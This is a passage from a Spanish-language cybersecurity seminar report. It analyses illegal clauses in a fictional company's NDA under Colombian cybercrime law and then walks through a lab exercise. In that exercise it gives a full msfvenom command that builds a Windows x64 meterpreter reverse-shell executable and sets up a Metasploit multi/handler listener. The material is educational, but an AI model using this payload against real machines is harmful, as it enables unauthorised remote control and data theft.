dentro de HackerHouse no podran ser divulgados.

Las lineas subrayadas de la primera clausula que se tornan ilegales en el acuerdo
de confidencialidad “autoridades legales” y “sobre procesos ilegales dentro de
HackerHouse no podran ser divulgados.”, facilita que se pueda omitir informacion
de los procesos que se realizan, causando que no se tenga la suficiente
confidencialidad en el tratamiento de datos de la organizacion. Al revisar este
proceso se restringe que el accionar frente a denuncias ante los organismos
competentes, dentro de las situaciones de supuestos casos de espionaje o en cual
caso de procesos en donde tenga que ver terceros frente a la incautacion de la
informacion de la organizacion.

e Segunda Clausula. Definiciéon de informacion confidencial: se entiende
como Informacién Confidencial, para los efectos del presente acuerdo:

1. La informacion que no sea publica y sea conocida por la parte receptora con
ocasion del proceso de seleccidén de personal.

2. Cualquier informacion societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos de
utilidad, disefios industriales, datos secretos como “datos de chuzadas,
interceptacién ilegal de informacién, accesos abusivos a sistemas informaticos”.

parte receptora tenga conocimiento o a la que tenga acceso por cualquier medio o
circunstancia en virtud de las reuniones sostenidas y/o documentos suministrados.

3. La que corresponda o deba considerarse como tal para garantizar el derecho
constitucional a la intimidad, la honra y el buen nombre de las personas y deba
guardarse la debida diligencia en su discrecién y manejo en el desempefio de sus
funciones.

La linea subrayada de la segunda clausula que se tornan ilegal en el acuerdo de
confidencialidad “datos secretos como “datos de chuzadas, en este fragmento se
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presenta interceptacion ilegal de informacion, accesos abusivos a sistemas
informaticos”.” se presenta un proceso que no es ético al proveer informaciéon de
manera ilegal, conociendo cuales son los debidos procesos y procedimientos legales
que se tienen para el uso adecuado del tratamiento de la informacion de la organizacion.
Cabe recordar que las autoridades que intervienen en el manejo idoneo de la

informacion deben hacerse responsables por el mal uso de estos procesos.

e Cuarta Clausula. Obligaciones de la parte receptora: Se considerara como
parte receptora de la informacion confidencial a la persona que recibe la
informacion, o que tenga acceso a ella. La parte receptora se obliga a:

De ser necesario o conveniente segun la necesidad del titular de la informacién, se
adicionaran las obligaciones que se consideren pertinentes:

1. Mantener la informacion confidencial segura, usarla solamente para los
propésitos relacionados con él, en caso de ser solicitada, devolverla toda
(incluyendo copias de esta) en el momento en que ya no requiera hacer uso de esta
o cuando termine la relacidon, caso en el cual, debera entregar dicha informacién
antes de la terminacion de la vinculacion.

2. Proteger la informacién confidencial, sea verbal, escrita, visual, tangible,
intangible o que por cualquier otro medio reciba, siendo legitima poseedora de la
misma HackerHouse, restringiendo su uso exclusivamente a las personas que
tengan absoluta necesidad de conocerla.

3. No denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacion de informacion de
terceros.

4. Responder por el mal uso que le den sus representantes a la informacién
confidencial.

5. Responder ante las autoridades competentes como responsable en caso de que
la informacién se encuentre en su poder dentro de un proceso de allanamiento.

6. La parte receptora se obliga a no transmitir, comunicar revelar o de cualquier
otra forma divulgar total o parcialmente, publica o privadamente, la informacién
confidencial o ilegal sin el previo consentimiento por escrito _por parte de
HackerHouse.

Las lineas subrayadas de la cuarta clausula que se tornan ilegales en el acuerdo de
confidencialidad, “3. No denunciar ante las autoridades actividades sospechosas de
espionaje o cualquier otro proceso en el cual intervenga la apropiacion de informacién
de terceros”, en este procedimiento que no se permite denunciar actividades que
provoquen sospechas de delitos asociados a espionajes u otra actividad asociadas, se
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puede asemejar en que muchas de las actividades que se lleven a cabo se relacionen
con fraudes, robos, estafas, extorsiones, por lo que el no denunciar este tipo de delitos
pueden generar problemas legales con los entes reguladores de justicia.

“4. Responder por el mal uso que le den sus representantes a la informacion
confidencial’, en el momento de presentarse algun tipo de problema legal, la
responsabilidad de los procesos llevados a parte que implica al representante legal de
la organizacion también recae sobre el empleado y como consecuencia del no
cumplimiento debido de los actos conlleva a incumplimientos de los articulos efectuados
para este caso ocasionando en la detencion inmediata, segun lo acuerde la ley segun
lo ordenen, llegando con este proceso en pagar afos de prision y el perder el derecho
de ejercer la profesion.

“6. La parte receptora se obliga a no transmitir, comunicar revelar o de cualquier otra
forma divulgar total o parcialmente, publica o privadamente, la informacién confidencial
o ilegal sin el previo consentimiento por escrito por parte de HackerHouse”, lo que
expresa sobre la informacion confidencial o “ILEGAL”, por lo anterior la organizacion
si tiene el conocimiento de los delitos que se estdn cometiendo sobre procesos ilegales
en la informacion y que asi se va a demostrar cuando sea necesario comprobar.

e Octava Clausula. Solucion de controversias: Las partes (nombre estudiante
— nombre empresa) se comprometen a esforzarse en resolver mediante los
mecanismos alternativos de solucion de conflictos cualquier diferencia que surja
con motivo de la ejecucion del presente acuerdo. En caso de que la informacién
ilegal o confidencial sea encontrada en manos del receptor este deberé acudir a
un abogado privado y dejar exenta de cualquier responsabilidad legal y penal a
HackerHouse.

La linea subrayada de la octava clausula que se tornan ilegal en el acuerdo de
confidencialidad, “En caso que la informacion ilegal o confidencial sea encontrada en
manos del receptor este debera acudir a un abogado privado y dejar exenta de cualquier
responsabilidad legal y penal a HackerHouse”, se debe hallar en el proceso legal que
se lleve a cabo en el tratamiento de la informacion de la organizacién con la intervencion
de los abogados propios de la organizacién que se tienen contratados para tratar los
procesos legales y los casos de irregularidades a la informacion de la organizacion.

2.2.2 Si usted como profesional en ciberseguridad logré encontrar algin proceso
ilegal en el anexo 3 — Acuerdo, debera citar puntualmente ley colombiana y
articulo que se podria estar violentando en dicho documento.

LEY 1273 DE 2009
(enero 05)

Por medio de la cual se modifica el Codigo Penal, se crea un nuevo bien
juridico tutelado - denominado "de la proteccidon de la informacion y de los
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datos"-y se preservan integralmente los sistemas que utilicen las
tecnologias de la informacion y las comunicaciones, entre otras
disposiciones.

EL CONGRESO DE COLOMBIA
DECRETA:

Articulo 1°. Adicionase el Codigo Penal con un Titulo VIl BIS denominado "De la
Proteccién de la informacién y de los datos", del siguiente tenor:

CAPITULO. |

De los atentados contra la confidencialidad, la integridad y la disponibilidad
de los datos y de los sistemas informaticos®

e Primera Clausula. Objeto.

Articulo 269A: Acceso abusivo a un sistema informatico. El que, sin autorizacion o
por fuera de lo acordado, acceda en todo o en parte a un sistema informatico
protegido o no con una medida de seguridad, o se mantenga dentro del mismo en
contra de la voluntad de quien tenga el legitimo derecho a excluirlo, incurrird en
pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de
100 a 1.000 salarios minimos legales mensuales vigentes.®

e Segunda Clausula. Definicién de informaciéon confidencial.

Articulo 269C: Interceptacion de datos informaticos. El que, sin orden judicial previa
intercepte datos informaticos en su origen, destino o en el interior de un sistema
informatico, o las emisiones electromagnéticas provenientes de un sistema
informatico que los transporte incurrira en pena de prision de treinta y seis (36) a
setenta y dos (72) meses.’

e Cuarta Clausula. Obligaciones de la parte receptora.

Articulo 269F: Violacion de datos personales. El que, sin estar facultado para ello,
con provecho propio o de un tercero, obtenga, compile, sustraiga, ofrezca, venda,
intercambie, envie, compre, intercepte, divulgue, modifique o emplee cddigos
personales, datos personales contenidos en ficheros, archivos, bases de datos o

5 Secretaria Juridica Distrital de la Alcaldia Mayor de Bogota D.C., "Ley 1273 de 2009 Congreso de
la Republica de Colombia". {En linea}. {05 enero 2009} disponible:
https://lwww.bogotajuridica.gov.co/sisjur/normas/Normal.jsp?i=34492.

6 Ibid.

7 Ibid.
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medios semejantes, incurrira en pena de prision de cuarenta y ocho (48) a noventa
y seis (96) meses y en multa de 100 a 1000 salarios minimos legales mensuales
vigentes.®

Articulo 269I: Hurto por medios informaticos y semejantes. El que, superando
medidas de seguridad informaticas, realice la conducta sefialada en el articulo 239
manipulando un sistema informatico, una red de sistema electronico, teleméatico u
otro medio semejante, o suplantando a un usuario ante los sistemas de
autenticacion y de autorizacion establecidos, incurrira en las penas sefaladas en el
articulo 240 de este Cédigo.®

e Octava Clausula. Solucién de controversias.

Articulo 269B: Obstaculizacién ilegitima de sistema informéatico o red de
telecomunicacién. El que, sin estar facultado para ello, impida u obstaculice el
funcionamiento o el acceso normal a un sistema informético, a los datos informaticos
alli contenidos, o0 a una red de telecomunicaciones, incurrira en pena de prision de
cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios
minimos legales mensuales vigentes, siempre que la conducta no constituya delito
sancionado con una pena mayor.*°

2.2.3 El sueldo para los puestos de Red Team y Blue Team estan entre los
$17.000.000 y los 22.000.000 respectivamente. ¢ Si usted llegara a encontrar
procesos ilegales en el acuerdo de confidencialidad usted aceptaria contrato
y acuerdo de confidencialidad de la organizacion HackerHouse, aun
conociendo lo que podria disponer COPNIA en su cddigo de ética y
sanciones en Colombia para profesionales de ingenieria? Para justificar esta
respuesta se recomienda que consulte directamente en la pagina oficial de
COPNIA para generar una respuesta coherente:
https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica

En mi rol como profesional y experto en procesos de seguridad informatica,
considero que no seria apropiado involucrarme en este trabajo debido a las
ambigledades y falta de especificidad en las clausulas y acuerdos del contrato. La
falta de claridad en cémo se llevaran a cabo los procesos y procedimientos para el
manejo de la informacién crea un ambiente de desconfianza y potencialmente
podria resultar en acciones que podrian ser consideradas ilegales segun la ley.

Es esencial destacar que la ley 1273 de 2009 establece pardmetros concretos para
la confidencialidad, integridad y disponibilidad de los datos y sistemas informaticos,

8 Ibid.
9 Ibid.
10 1bid.
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y cualquier accidn que no se ajuste a estos lineamientos podria poner en riesgo la
seguridad y la legalidad de la organizacion.

Mi compromiso radica en garantizar la seguridad y legalidad en todos los aspectos
de mi trabajo en seguridad informéatica, y en este caso, la falta de claridad en los
procesos y la ausencia de directrices concretas en los acuerdos contractuales hacen
gue esta oportunidad no sea congruente con mis valores y estandares éticos.

Adicionalmente, para tomar una decision informada en este asunto, es importante
hacer uso de herramientas que faciliten el desarrollo adecuado y eficiente de los
procesos de manejo de la informacidén. En este sentido, el cédigo de ética de
COPNIA proporciona una guia esencial para el ejercicio responsable de la
ingenieria, lo que asegura que cualquier accion llevada a cabo esté en consonancia
con los principios éticos y profesionales establecidos.

A continuacion, expongo los articulos del cédigo de ética de COPNIA que tengo en
cuenta para la toma de mi decision frente a la oferta laboral realizada por parte de
la empresa HackerHouse.

e ARTICULO 31. DEBERES GENERALES DE LOS PROFESIONALES.

e ARTICULO 35. DEBERES DE LOS PROFESIONALES PARA CON LA
DIGNIDAD DE SUS PROFESIONES.

e ARTICULO 37. DEBERES DE LOS PROFESIONALES PARA CON SUS
COLEGAS Y DEMAS PROFESIONALES.

e ARTICULO 39. DEBERES DE LOS PROFESIONALES PARA CON SUS
CLIENTES Y EL PUBLICO EN GENERAL.!!

2.2.4 Deberéa buscar alguna noticia de cibercrimen en Colombia y redactar su punto
de vista teniendo en cuenta las implicaciones legales y éticas que alli se
pudieron generar. Se solicita que mencione la ley y articulo el cual logre
explicar los delitos expuestos en la noticia que consulto.

Noticia de cibercrimen en COLOMBIA “El sector educativo tiene la mayor proporcion
de victimas de ransomware”.'?

11 COPNIA, "Codigo de Etica". {En linea}. {2015}  disponible  en:
https://lwww.copnia.gov.co/sites/default/files/node/pagef/field_insert_file/codigo_etica.pdf.

12 Infosecurity Magazine, "El sector educativo tiene la mayor proporcién de victimas de ransomware".
{Enlinea}. {26 julio 2023} disponible: https://www.infosecurity-magazine.com/news/education-sector-
highest/?&web_view=true.
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El panorama descrito en el informe de Sophos respecto a la prevalencia del
ransomware en el sector educativo, conlleva implicaciones legales y éticas
significativas, asi como una posible infraccion del articulo 269B de la Ley 1273 de
2009 en Colombia.

En primer lugar, es fundamental destacar que el aumento alarmante en el nUmero
de instituciones educativas afectadas por el ransomware durante el afio 2022
genera una preocupacion latente en términos de seguridad cibernética y
cumplimiento normativo. La proliferacion de este tipo de ataques, que bloquean el
acceso a sistemas y datos hasta que se pague un rescate, podria representar una
violacion a los principios legales y éticos de confidencialidad, integridad y
disponibilidad de la informacién.

Las cifras reveladas en el informe, indicando que el 79% de las instituciones de
educaciéon superior y el 80% de las instituciones de educacion "inferior" fueron
comprometidas por ransomware, destacan la necesidad urgente de abordar la
seguridad cibernética en estos entornos. La falta de medidas de seguridad
adecuadas, como la adopcion de la autenticacion multifactor (MFA), puede exponer
a estas instituciones a riesgos legales y cuestionamientos éticos.

LaLey 1273 de 2009 en Colombia establece que el acceso no autorizado a sistemas
informéaticos y la manipulaciéon de datos electronicos constituyen delitos
informaticos. En este contexto, la explotacién de vulnerabilidades y credenciales
comprometidas en los ataques de ransomware podria ser considerada una
infraccion a dicha ley. El articulo 269B especifica las sanciones para este tipo de
actividades, incluyendo penas de prisién y multas.

La omisién de medidas como la autenticaciébn multifactor (MFA), tal como sefiala
Chester Wisniewski, CTO de Sophos, puede agravar aun mas el riesgo de ataques
y sus consecuencias legales. La recomendacion de utilizar MFA para proteger a
docentes, personal y estudiantes no solo se alinea con las mejores practicas de
seguridad, sino que también puede contribuir a prevenir vulnerabilidades legales al
reducir la posibilidad de acceso no autorizado.

La tendencia en el sector educativo de pagar rescates a los ciberdelincuentes
también plantea implicaciones legales y éticas. Aunque la presion para restablecer
el funcionamiento normal es comprensible, el pago de rescates podria no solo ser
ineficaz para resolver los ataques, sino también poner en riesgo la integridad y la
legalidad de las instituciones. Esto podria generar interrogantes en torno al
cumplimiento de las regulaciones de ciberseguridad y al uso adecuado de los
recursos financieros.

El informe definitivo de Sophos habla sobre el impacto del ransomware en el sector
educativo resalta la necesidad de un enfoque integral en la seguridad cibernética.
La falta de adopcion de medidas como la autenticacion multifactor y las decisiones
de pago de rescates podrian tener implicaciones legales y éticas importantes, lo que
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hace imperativo que las instituciones educativas tomen medidas proactivas para
salvaguardar sus sistemas y datos, al tiempo que se adhieren a los principios
legales y éticos establecidos.
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2.3 ETAPA 3 EJECUCION PRUEBAS DE INTRUSION.
e Anexo 4 - Escenario 3.

Este anexo tiene la finalidad de brindar una guia para la identificacion de un
problema especifico en temas técnicos que se ejecutan en equipos Red Team.

Situacion problema: Analisis Red Team.

La organizacion HackerHouse encontré que uno de sus equipos de computo que
contenia un Windows 10 X64 fue vulnerado de algun modo. El administrador de
dicho equipo se percatd que habia creado un archivo con extension .txt ubicado en
el escritorio y el cual contenia los campos:
Nombre_estudiante_codigo_fecha_actividad, este archivo en mencion ya no se
encontraba en la ubicacion descrita anteriormente.

El administrador de la computadora afectada menciona un dato bastante valioso
para el equipo Red Team de HackerHouse y es que mediante un whatsapp web un
compariero de trabajo le envié un archivo con el nombre PoCseminario.exe el cual
procedio a descargar y a ejecutar en la computadora afectada.

El administrador de la computadora afectada menciona las siguientes
caracteristicas de la computadora en general:

* Tenia un S.O Windows 10 a 64 bits.

* Los sistemas de seguridad tanto del S.O como externos se encontraban
desactivados totalmente (Firewall, Windows Defender, Antivirus entre otros).

» Contaba con un archivo de texto ubicado en el escritorio.

* Recuerda haber ejecutado un archivo .exe con el nombre PoC_cedulaestudiante.

Con la informacién obtenida el equipo Red Team proceden a analizar el escenario
el cual debe ser recreado por los estudiantes de seminario para documentar qué
fue lo que paso en la computadora afectada y como lograron eliminar el archivo de
texto que se encontraba en el escritorio. Uno de los expertos en ciberseguridad de
HackerHouse menciona que podria tratarse de un Payload el cual se cred con
MSFVNOM vy se ejecuté con METASPLOIT. El expertomenciona el posible paso a
paso para crear un PAYLOAD con extension .exe para ser ejecutado por la victima,
y posterior a ello como abrir una sesion por medio de METASPLOIT para controlar
de manera remota la computadora afectada.

POC ATAQUE:

Msfvenom es una herramienta por excelencia para la creacion de carga util por
medio de ejecutables los cuales pueden irrumpir en un sistema operativo deseado
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o dispositivo movil. Para iniciar este taller se debe tener en cuenta los siguientes
pasos:

Paso 1: La estructura basica en cuanto a sintaxis se va a explicar en este paso, pero
hay algo muy importante para tener en cuenta y es todo el tema relacionado con la
arquitectura de la maquina que se va a comprometer. La maquina victima debe estar
en la misma red que la maquina atacante y estar en un mismo fragmento de red,
pueden crear las maquinas virtuales en modo bridge.

Paso 2: El siguiente paso es identificar el sistema operativo de la maquina victima,
para este taller se menciona una maquina Windows10 con una arquitectura x64,
pero dicha maquina debe tener todos los sistemas de seguridad deshabilitados:
Windows defender, firewall, antivirus y proteccion en tiempo real, porque en el taller
no se abarcara técnicas de evasion a los antivirus.

Paso 3: Msfvenom contiene una singular estructura de sintaxis para la seleccion y
creacion de ejecutables maliciosos, para el taller y teniendo en cuenta el enunciado
los principales comandos u opciones a utilizar son:

-p: Este comando indica la carga Util a usar en el ataque, o lo que se

conoce coloquialmente como payload, para el taller se debe hacer uso

de un payload que soporte arquitectura x64 de Windows y que por

medio de una Shell reversa genere un meterpreter.

--platform: Este parametro indica la plataforma la cual se desea atacar dado que
msfvenom no solamente es funcional con Windowssino con otros sistemas
operativos, por ende, lo solicitado en el taller es un sistema operativo Windows.

-a:. Este pardmetro indica la arquitectura que se desea atacar, para el ejemplo
propuesto en el taller es una arquitectura x64, sino seleccionan esta opcién por
defecto msfvenom manje una arquitectura x86.

LHOST: Este parametro indica el LOCAL HOST, o IP de la maquina atacante, esta
debe ser introducida al momento de crear el ejecutable.

LPORT: Este parametro indica el LOCAL PORT, o puerto de la maquina victima por
la cual se daré la escucha de la victima; para el ejemplo se hizo uso del puerto 443
el cual suele estar abierto en la mayoria de las computadoras.

-f: Este parametro indica el formato en el cual se generara el ejecutable, como se
utilizara para Windows el .exe es una opcién adecuada y acorde al ejercicio.

>>: Indicador de ruta para almacenar el ejecutable creado por
msfvenom.
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Paso 2: Lo primero que se debe hacer es ejecutar la consola de Linux; para activar
la herramienta msfvenom simplemente se ejecuta el comando: msfvenom, posterior
a ello se inicia el ingreso del siguiente comando teniendo en cuenta las instrucciones
generadas con anterioridad en el paso 1:

msfvenom -p Windows/x64/meterpreter/reverse_tcp —platform windows -a x64
LHOST=IP_KALI LPORT=443 -f exe >>
/Directorio_guardar_ejecutable/Nombreejecutable.exe ver Fig. 1. El nombre del
Payload debe ser: PoC_cedulaestudiante.exe en vez de FinalP2.exe

Figura 8. Creacién de carga util msfvenom.

burton@Kall: -

Fuente: John Freddy Quintero Tamayo.

Paso 3: Una vez Windows tenga el archivo .exe creado por msfvenom es
procedente ejecutar msfconsole en una consola para hacer uso de un exploit que
contribuya a escuchar y ejecutar el meterpreter por medio de una Shell reversa,
para este ejemplo se utilizaran los siguientes parametros:

Exploit: El exploit a utilizar es exploit/multi/handler

Payload: El payload a utilizar es el mismo que se utilizé en la
construccion del ejecutable windows/x64/meterpreter/reverse_tcp

LHOST: Se ingresa la IP del Kali Linux

LPORT: Se ingresa el puerto 443 el cual en la mayoria de las
ocasiones se encuentra en estado open.

Una vez mencionado los parametros anteriores se hace uso de los comandos use
y set, dependiendo las acciones a ejecutar en msfconsole se utiliza cada uno:

Para ingresar un exploit se utiliza el comando use, para ingresar payload, lhost, y
Iport utilizan set, en la Fig. 2. Se observa todo el proceso de ejecucion del exploit,
cuando se termine este proceso se tiene que ejecutar el .exe en la maquina windows
cuando esto suceda el ataque finalizara con la apertura de un meterpreter para
manipular la maquina windows.
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Figura 9. Ejecucion exploit y .exe en windows 10 x64.

burtonz@Kalk - burtonz@Kalk: ~

Fuente: John Freddy Quintero Tamayo.

Al completar estos pasos se evidencia el acceso remoto de una maquina Kali Linux
hacia la maquina Windows 10; usted debe consultar los comandos meterpreter
existentes para llegar hasta la ruta del archivo de texto y eliminarlo, esto también
debe ser documentado junto a todo el proceso anterior descrito en este anexo 4.

2.3.1 Describa de manera especifica las herramientas software que utilizé para
llevar a cabo el anexo 4 — escenario 3 enfocado a Red Team.

Las herramientas de software que utilizaron para llevar a cabo el anexo 4 —
escenario 3 enfocado a Red Team son las siguientes:

e Kali Linux: (anteriormente conocido como BackTrack Linux)es una

distribucién de Linux de cddigo abierto basada en Debian destinada a pruebas
de penetracion avanzadas y auditorias de seguridad. Para ello, proporciona
herramientas, configuraciones y automatizaciones comunes que permiten al
usuario centrarse en la tarea que debe completarse, no en la actividad
circundante.
Kali Linux contiene modificaciones especificas de la industria, asi como varios
cientos de herramientas dirigidas a diversas tareas de seguridad de la
informacion, como pruebas de penetracion, investigacion de seguridad,
informatica forense, ingenieria inversa, gestion de vulnerabilidades y pruebas
del equipo rojo.
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Kali Linux es una solucion multiplataforma, accesible y de libre disposicidén para
profesionales y aficionados a la seguridad de la informacién.!3

e Nmap: (“mapeador de redes”) es una herramienta de coddigo abierto para
exploracion de red y auditoria de seguridad. Se disefid para analizar
rapidamente grandes redes, aunque funciona muy bien contra equipos
individuales. Nmap utiliza paquetes IP "crudos" («raw», N. del T.) en formas
originales para determinar qué equipos se encuentran disponibles en una red,
qué servicios (nombre y version de la aplicacion) ofrecen, qué sistemas
operativos (y sus versiones) ejecutan, qué tipo de filtros de paquetes o
cortafuegos se estan utilizando, asi como docenas de otras caracteristicas.
Aunque generalmente se utiliza Nmap en auditorias de seguridad, muchos
administradores de redes y sistemas lo encuentran (til para realizar tareas
rutinarias, como puede ser el inventariado de la red, la planificacion de
actualizacion de servicios y la monitorizacion del tiempo que los equipos o
servicios se mantiene activos.*

e Metasploit: Es un proyecto de codigo abierto que nos ayuda a investigar las
vulnerabilidades de seguridad, Metasploit framework es una herramienta
desarrollada en Perl y Ruby en su mayor parte, que esta enfocada a auditores
de seguridad y equipos Red Team y Blue Team.*®

Es una herramienta muy completa que tiene muchisimos exploits, que son
vulnerabilidades conocidas, en las cuales tienen también unos médulos,
llamados payloads, que son los cédigos que explotan estas vulnerabilidades.
También dispone de otros tipos de médulos, por ejemplo, los encoders, que son
una especie de codigos de cifrado para evasion de antivirus o sistemas de
seguridad perimetral.

Otra de las ventajas de este framework es que nos permite interactuar también
con herramientas externas, como Nmap o Nessus, ademas, ofrece la posibilidad
de exportar nuestro malware a cualquier formato, ya sea en sistemas Unix o
Windows.

Destacar también que es multiplataforma y gratuita, aunque tiene una versiéon de
pago, en la que se nos ofrecen exploits ya desarrollados, pero cuyo coste es
bastante elevado. La version gratuita es muy interesante porque contiene todas
las vulnerabilidades publicas.

13 KALI, "¢, Qué es Kali Linux?". {En linea}. {10 marzo 2023} disponible en: https://www.kali.org/docs/introduction/what-is-kali-
linux/#about-kali-linux
142 NMAP.ORG, "Guia de referencia de Nmap (Pagina de manual)'. {En linea}. {s.f.} disponible en:

https://nmap.org/man/es/index.html#man-description

15 RIZALDOS, Héctor, "Qué es Metasploit framework”. {En linea}. {22 octubre 2018} disponible en:
https://openwebinars.net/blog/que-es-metasploit/
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2.3.2 A continuacion, liste y describa los datos e informacion del anexo 4 —
escenario 3 que le fueron de ayuda para identificar el fallo de seguridad
especifico el cual ataca a la maquina windows 10 X64.

El administrador de la computadora afectada menciona un dato bastante valioso
para el equipo Red Team de HackerHouse y es que mediante un whatsapp web un
comparniero de trabajo le envié un archivo con el nombre PoCseminario.exe el cual
procedié a descargar y a ejecutar en la computadora afectada.

El administrador de la computadora afectada menciona las siguientes
caracteristicas de la computadora en general:

e Tenia un S.O Windows 10 a 64 bits.

e Los sistemas de seguridad tanto del S.O como externos se encontraban
desactivados totalmente (Firewall, Windows Defender, Antivirus entre otros).

e Contaba con un archivo de texto ubicado en el escritorio.

e Recuerda haber ejecutado un archivo .exe con el nombre
PoC_cedulaestudiante.

Uno de los expertos en ciberseguridad de HackerHouse menciona que podria
tratarse de un Payload el cual se cre6 con MSFVNOM y se ejecutd con
METASPLOIT. El experto menciona el posible paso a paso para crear un PAYLOAD
con extension .exe para ser ejecutado por la victima, y posterior a ello como abrir
una sesion por medio de METASPLOIT para controlar de manera remota la
computadora afectada.

POC ATAQUE: Msfvenom es una herramienta por excelencia para la creacion de
carga 0til por medio de ejecutables los cuales pueden irrumpir en un sistema
operativo deseado o dispositivo moévil. Para iniciar este taller se debe tener en
cuenta los siguientes pasos:

Paso 1: La estructura basica en cuanto a sintaxis se va a explicar en este paso, pero
hay algo muy importante para tener en cuenta y es todo el tema relacionado con la
arquitectura de la maquina que se va a comprometer. La maquina victima debe estar
en la misma red que la maquina atacante y estar en un mismo fragmento de red,
pueden crear las maquinas virtuales en modo bridge.

Paso 2: El siguiente paso es identificar el sistema operativo de la maquina victima,
para este taller se menciona una maquina Windows 10 con una arquitectura x64,
pero dicha maquina debe tener todos los sistemas de seguridad deshabilitados:
Windows defender, firewall, antivirus y proteccion en tiempo real, porque en el taller
no se abarcara técnicas de evasion a los antivirus.
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Paso 3. Msfvenom contiene una singular estructura de sintaxis para la seleccion y
creacion de ejecutables maliciosos, para el taller y teniendo en cuenta el enunciado
los principales comandos u opciones a utilizar son:

-p: Este comando indica la carga util a usar en el ataque, o lo que se conoce
coloquialmente como payload, para el taller se debe hacer uso de un payload que
soporte arquitectura x64 de Windows y que por medio de una Shell reversa genere
un meterpreter.

--platform: Este parametro indica la plataforma la cual se desea atacar dado que
msfvenom no solamente es funcional con Windows sino con otros sistemas
operativos, por ende, lo solicitado en el taller es un sistema operativo Windows.

-a: Este parametro indica la arquitectura que se desea atacar, para el ejemplo
propuesto en el taller es una arquitectura x64, sino seleccionan esta opcién por
defecto msfvenom manje una arquitectura x86.

LHOST: Este pardmetro indica el LOCAL HOST, o IP de la maquina atacante, esta
debe ser introducida al momento de crear el ejecutable.

LPORT: Este parametro indica el LOCAL PORT, o puerto de la maquina victima por
la cual se dara la escucha de la victima; para el ejemplo se hizo uso del puerto 443
el cual suele estar abierto en la mayoria de las computadoras.

-f: Este pardmetro indica el formato en el cual se generara el ejecutable, como se
utilizara para Windows el .exe es una opcién adecuada y acorde al ejercicio.

>>: Indicador de ruta para almacenar el ejecutable creado por msfvenom. Paso 2:
Lo primero que se debe hacer es ejecutar la consola de Linux; para activar la
herramienta msfvenom simplemente se ejecuta el comando: msfvenom, posterior a
ello se inicia el ingreso del siguiente comando teniendo en cuenta las instrucciones
generadas con anterioridad en el paso 1:

msfvenom -p Windows/x64/meterpreter/reverse_tcp --platform windows -a x64
LHOST=IP_KALI LPORT=443 -f exe >>
/Directorio_guardar_ejecutable/Nombreejecutable.exe ver Fig. 1. El nombre del
Payload debe ser: PoC_cedulaestudiante.exe en vez de FinalP2.exe

2.3.3 ¢Qué herramienta utilizé para poder identificar los fallos de seguridad de la
“‘maquina Windows 10"? ;Qué puerto abre la aplicacion especifica en el
anexo?

Se utiliza la herramienta Nmap para proceder a realizar un escaneo de puertos de
la direccion IP de la red LAN de la maquina atacada por medio del comando nmap
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192.168.0.21 y encontrar los puertos abiertos, es asi como se evidencia que el
puerto abierto es el 443.

Figura 10. Exploracién de puertos abiertos.

Archive Magquina Ver Entrada Dispositivos

S mEPkori

File Actions Edit View Help

fhome/kali
y 192.168.8.21

Starting Nmap 7. ( ht /nmap.org ) a 09-08 19:25 -@5
Nmap scan repor
Host is up (@.@ tency).
Not shown: 996 c tcp ports (reset)
PORT STATE SERVICE

open mMSTpC

open netbios-

open
5 tcp open
MAC Address: @8:0@:27:B7:79:E8 (Oracle VirtualBox wvirtuwal NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds

Fuente: El Autor.

En la maquina con sistema operativo Windows 10 x64 hay servicios que se
encuentran ejecutando y se encuentran en estado listening, lo que permite desde la
red LAN acceder a ellos.

Figura 11. Puertos abiertos en maquina Windows 10 x64.

g B Simbolo del sistema - a X
> 5 os.
!

Microsoft Edge

b

oxitPDEREader

Fuente: El Autor.
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2.3.4 Explique con sus palabras y de manera especifica como afecta el ataque a
la maquina (Windows 10 X64), haga uso de gréficos para explicar el ataque.

La vulnerabilidad detectada podria poner en riesgo la integridad de la maquina, dado
gue permite la ejecucion de conexiones no autorizadas. Esto podria desencadenar
una serie de complicaciones significativas, ya que la infiltracion resultante
comprometeria potencialmente toda la informacién alojada en dicho sistema.
Ademas, esta amenaza podria extenderse a partes de la infraestructura asociada,
ya que los atacantes podrian llevar a cabo escaneos de redes en busca de servicios
y datos adicionales que fueran susceptibles de ser interceptados o robados.

Es importante destacar que los perpetradores de estos atagues suelen tener
diversas motivaciones, que pueden abarcar desde objetivos politicos hasta
intereses econdmicos, y otras razones. Una vez que han identificado su objetivo,
inician una fase de investigacion en la que buscan meticulosamente informacion
relevante. Esto incluye la identificacion de activos criticos y usuarios claves,
mientras rastrean cualquier pista o punto débil que puedan explotar para alcanzar
sus metas especificas.

Figura 12. Funcionamiento de un ataque con metasploit.

Attacker

Exploit

.LiStE ning

Reverse connection

Code Length

Code

Meterpreter

is running

Fuente: https://www.elladodelmal.com/2018/03/metasploit-como-extender-las.html®

16 UN INFORMATICO EN EL LADO DEL MAL, "Metasploit: Como extender las funcionalidades de meterpreter". {En linea}.
{21 marzo 2018} disponible en: https://www.elladodelmal.com/2018/03/metasploit-como-extender-las.html
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2.3.5 Debera documentar y adjuntar los comandos utilizados y explicar la
estructura desarrollada para el Payload ademas de los comandos para
ejecutar el Payload.

Lo primero que se debe realizar es ejecutar la terminal de Kali Linux; para activar la
herramienta msfvenom simplemente se ejecuta el comando: msfvenom, posterior a
ello se inicia el ingreso del siguiente comando teniendo en cuenta que la maquina
atacada debe estar en la misma red LAN que la maquina atacante, donde se debe
identificar cual es el sistema operativo que tiene la maquina atacada en este caso
Windows 10 x64 con los sistemas de seguridad deshabilitados, Windows Defender,
Proteccion en Tiempo Real, Firewall de Windows y AntiVirus.

Ya con estos procesos se lleva a cabo la siguiente sintaxis de estructura con -p que
es la carga util que va a utilizar el ataque que es el payload basado en arquitectura
de 64 bits en el sistema operativo, con —plattform selecciona el sistema operativo a
atacar, con -a elige x64 en el sistema operativo, LHOST es la direccién IP de la
maquina atacante, LPORT es el puerto de la maquina victima donde se establecera
la comunicacién del ataque que es el puerto 443, con -f indica el formato con el que
sera elaborado el ejecutable en este caso .exe para Windows, con >> se establece
la ruta donde va almacenar el ejecutable.

Figura 13. Elaboracion del Payload.

: root@kali: home/kali

File Actions Edit View Help

